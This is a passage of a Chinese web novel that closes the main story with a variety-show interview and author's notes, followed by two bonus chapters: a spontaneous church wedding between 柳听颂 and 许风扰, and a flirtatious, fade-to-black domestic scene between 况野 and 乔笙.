片刻之后,况野才转身偏头看向旁边,像是怕乔笙也学前面人,她先开口道:“这是乔笙。” “我是她的女朋友。” 况野不是会说情话的人,可看向乔笙的眼眸专注而真挚。 “如果她愿意接受我第十七次求婚的话,我现在就是她的未婚妻。” 锁骨间的蝴蝶纹身随着说话颤动,扇起翅膀。 乔笙眼眸一弯,对着她就笑,如狐貍般狡黠,却透着化不开的情意。 她问:“你又在和我求婚吗?” 况野没有退缩:“如果你想的话,我现在带着戒指。” 她目光灼灼地看着乔笙,等着对方说一个跪下,她就能立马掏出戒指。 可对方摇了摇头,况野也没有露出失望表情,乖乖巧巧坐回原位,对着镜头道:“看来只能等第十八次了。” 一行人都被况野两人吓到,好半天才反应过来,许风扰低头往手机一看,吶吶就道:“这个问题好像已经回答了……” 众人疑惑。 “这个问题是,况野你比许风扰还先官宣,现在却晚了她一步,你着急吗,会考虑结婚吗?” 答案不需要说了,况野不仅着急,而且还非常着急,非常想结婚。 “那就下一个问题,”许风扰话风一转,就道:“况野你有那么多纹身,有考虑纹一个和女朋友相关的吗?” 况野一愣,便与乔笙对视笑起。 “早就有了,”她回答。 “哎?”许风扰等人都不解,这几年没见况野再纹身,怎么会有呢 那人就笑,指了指锁骨间的蝴蝶,说:“这不就是吗?” 几人茫然又诧异,明明这个纹身是在况野没遇到乔笙时就纹上的,怎么现在就与乔笙有关了 乔笙也不叫蝴蝶啊…… 一群你看看我,我看看你,再问向况野。 那人却笑眯眯道:“已经两个问题了。” 摆明不想说。 与此同时,进度条也终于到了末尾。 小曾怔怔看着视频裏的人,不知为何,心裏莫名泛起其他情绪,于是将进度条往前拉,挪回她之前略过的地方。 海浪声中,她们还踩在白沙滩上,围坐在火堆旁,手裏拿着未烤熟的串,笑着打打闹闹,和旁边的伴侣低声耳语。 此刻夕阳西下,如纱披撒在她们之间,像是未完的故事,没有落幕,不曾终结。 ———————— 完结啦,后面还会有两章结婚的福利番外,等什么时候晋江结算完就写[墨镜] 故事到了这裏,反而不知道说什么好,于是只能顶着红毛,大声说:各位猛一请给我五星好评,求求了! 另外,新文大概三月份开,感谢陪伴,感谢你们的支持,发红包!《 》 第102章【VIP】 第102章 福利番外一:结婚 考虑来考虑去,最后的结婚地点却有几分草率。 是一个柳听颂、许风扰旅游路途中的小教堂,不同于之前两人牵手并肩走过的其他教堂,装饰或华丽或神圣,它的结构简单,木板搭建的屋脊下,是一排排长椅,十字架被钉在最前面,往外看,是连绵不断的远山。 柳听颂与许风扰戴着鸭舌帽、穿着厚外套,躲在一堆异国面孔的人群裏,牵着手靠着对方,看完了日落,又等到了日出。 十字架的影子在地上转了一圈,白雾还未消散,带来刺骨的寒。 在这样的冷凉裏,许风扰将柳听颂的手握进双手掌心中,将尽存的暖意传递。 旁边有低低的祷告声,许风扰贴在柳听颂耳边说着话,很早之前是在感慨日落,继而是远星,两人还借助APP翻了下星座的名字,勉强认出了北斗七星和金星,后头许风扰开始乱哼曲调。 柳听颂偶尔补充一句,多数时候都是静静听着,偏头吻在许风扰脸颊、唇角。 年纪小的经不起撩拨,无论在一起多久都一样,柳听颂一碰,她就忍不住凑过来,将短暂的吻延长又加深。 就这样,她们吻了一次又一次。 不需要担忧其他,没有狗仔偷拍或者损友起哄,周围的情侣都这样,十字架的吻,不会受到贬斥,偶然与旁边人对视,得到的都是含笑的祝福。 在此之前,许风扰想了好多愿望,可后面都忘记,只想与柳听颂贴得紧一些、再紧一些。 云海翻腾,染上红日的色彩,变作层层迭迭的橙色棉花糖,惊呼声接连不断,被录进高举的手机裏,呼吸间,全是山间冷雾,叫人不知该醉,还是该醒。 就在这样的来回拉扯裏,许风扰突然冒出一句:“柳听颂,我们结婚吧。” 话音落下,才发觉自己说了什么。 她惊讶扭头,望着柳听颂。 那人却早已含笑望向她。 光落在她精致眉眼,可以看见泛红耳垂间的细小绒毛,无意识加重的呼吸,颈边的脉搏颤动。 她说:“好啊。” 声音轻快又带着几分宠溺。 好像前段时间,她们散步遇到卖小乌龟的摊贩,先不说这样的小摊怎么会传到国外,就瞧见许风扰蹲在地上,愣是看上了一只乌龟,眼巴巴瞧了很久后,便看着柳听颂要买。 那人也是现下这般语气,温温柔柔说了声好。 于是两天后,独自窝在家裏的三斤,就有了一只同样被托运回国的乌龟妹妹。 起初两人还担心过,怕缅因欺负乌龟,结果却在监控中,瞧见那家伙扯着自己猫粮去喂龟。 乐得许风扰、柳听颂笑了半天,最后将原定的行程缩短了一半,最美的旅途也会疲倦,不如回家休息个半载再继续。 回忆被触感拉扯,许风扰垂眼,瞧见柳听颂抚在她脸颊的手。 本就很近的距离,变得更近,鼻尖触碰鼻尖,呼吸交替,她听到柳听颂清晰的话语。 “我们结婚吧。” 就这样,之前精心挑选、塞进备选方案的地点通通作废,即便她们之前最中意的是凤冠霞帔式的婚礼,此刻也别上了白纱,在从山下找来的牧师前,在红日又一次落下时,一字一句说了誓言。 在那一天,她们一起看了一次日出、两次日落,许下无论贫穷、富贵都要一直在一起的诺言。 当然,这样的轻率,在回去之后也遭到了楚澄等人的抱怨,帮着准备了半天,到头来竟没能参加。 许风扰能如何? 自知理亏,只得陪笑,将提前买好的礼物往她们怀裏塞,就连昭昭都叉着腰不满,让许风扰好一顿哄,最后许诺一定再结一次婚,必须要昭昭换着公主裙当花童,给她们送戒指,这小家伙才消了脾气。 不过这些都是后话了,此刻,两人带着婚戒的合照已在V博疯传,热度比两人官宣时还要厉害,闲话也有,不过更多的是祝福。 许风扰一改以往发了V博就不理的态度,一直在给她们送祝福的评论点赞,直到最后彻底点不过来,才又在评论区发了句谢谢。 谢谢你们,谢谢所有人的祝福,她们会在一起很久、很久。《 》 【全文完结】 第103章 福利番外二:况野X乔笙 老旧的楼道传来脚步声,惊醒裏头的人。 乔笙回过神,才瞧着对面的人笑起。 她有一双极漂亮的狐貍眼,笑起来时,眼眸一弯,便显得轻快又狡黠,那不存在的红毛狐貍耳朵,好像也卖乖似的弯了弯。 况野怔愣了下,注意力彻底从手机屏幕中挪开。 握着指间的手机无声,映着那一条官宣的V博。 图片裏还是那被铁架格窗分割的橙色天空,脱了外套的况野站在老旧厨房裏,一手颠锅一手握铲,耳垂还带着四个环,小臂的纹身更是明显,明明是不茍言笑的酷姐,却在夕阳与火光中,莫名多出几分贤惠温柔的感觉。 而乔笙出现在照片右下角,举起手机的手臂伸远,刚好拍到她坐在餐桌前,偏头露出明媚笑颜。 底下的评论数还在攀升,照片被不断转发,传到各个聊天界面中,作为讨论的素材,但不管这张照片造成怎样的影响,此刻的两人已从中脱离,姿势倒是没变,还是乔笙坐着,端来最后一盘菜的况野站在她面前。 “怎么,后悔了?”小狐貍漫不经心的开口,带着几分轻佻的笑意。 况野眼眸随之低垂,语气无奈而低闷冒出一句:“后悔什么?” “这可是你叫我发的,”那人依旧笑着,仰起的脑袋,散落的发丝轻晃,明明已是二十几的人了,却依旧透着几分少女的天真。 摆在桌面的菜还冒着热气,证明着之前那张照片的拍摄时间就在不早之前,在得知许风扰消息后,这人便一边炒菜,一边递手机,要乔笙发V博。 甜言蜜语不会说,还板着脸说是为了帮许风扰挡热度。 乔笙之前没揭穿她,但不代表这事揭过。 “以后我们的况大鼓手就名花有主咯。” 乔笙发音有一个不自觉的小毛病,尾音总无意识拖长,又在最后的小鈎处,掀眼微瞥,无意识的撩拨。 颈间的蝴蝶扇翅,况野呼吸一顿,继而纠正:“不是以后,之前就有主了,只是现在才告知大众。” “哦?”乔笙眼波流转,没说满不满意这个答案,反倒先笑起,揶揄冒出一句:“有主?” “我怎么不知道我有了只小狗?” 之前的话语被曲解作别的意思,况野虽然木头,但好歹也是娱乐圈裏头的人,平常没少瞧见这些事,瞬间就明了乔笙在笑什么。 向来没什么表情的脸动了下,露出几分无奈,耳朵不知什么时候红透,连颈间的蝴蝶都被渲染。 她说:“别闹。” 她生硬转移话题:“我去拿筷子,我们吃饭。” 可另一人却不肯放过她,抬脚压在对方的脚背,笑盈盈就道:“小狗要去哪裏?” 况野就这样被牵住,感受着微凉的趾尖随着小腿线条一点点攀爬。 “别闹,”况野又一次开口,声音微哑。 “菜快凉了,”她扯出借口。 可对方却瞧着她笑,摆明了不想听她的话。 趾尖还在往上,勾住她的五分裤,微微往下一扯。 暗示明显。 况野眼眸暗了暗,哪裏是对方的对手,呆呆愣愣的木头,被狐貍尾巴一扫就开始丢盔弃甲。 她突然上前一步,手往对方腿弯处一勾,便将人抱在餐桌上,继而整个人都压过来。 “还闹?”她问。 已感受到威胁的人没有退让,反倒抬手,指尖抚过那颤动的蝴蝶翅膀,仰头时,开合的唇,呼吸落在况野脖颈。 “主人,先吃饭还是要先吃我。” 好老套的臺词,以至于她说时,整个人都在笑,一双狐貍眼弯起,唇角上扬,鼻子都皱起,在况野怀裏笑得直颤。 况野的手先是压在桌面,又抬起掐住她的腰。 她说:“菜凉了也没关系,等会我重新热一遍。” 她低头,咬住那还在笑的人,含糊道:“先吃你。” 乔笙还在笑,她笑点总是很低,一句笑话也能笑很久,于是一边抬手勾住况野脖颈,一边笑着回应况野的吻。 “那主人要记得喂饱我,”她还是不肯忘记这个话题。 况野没说话,粗粝的指尖掀开衣角,只听见细微的一声响,扣子被解开。 什么都不用说,一切都会发生,只是可惜了她辛苦做的一桌菜,只能用其他作为赔偿,而况野对此,表示毫无怨言且乐意至极。 ———————— 小狐貍和木头 新文已在准备啦,还是需要多修改完善,不想慌慌忙忙让自己后悔,但三月底应该可以开了! 况野的预收也已准备好,想看的多多收藏哦,收藏到了,自然就开了[撒花]《 》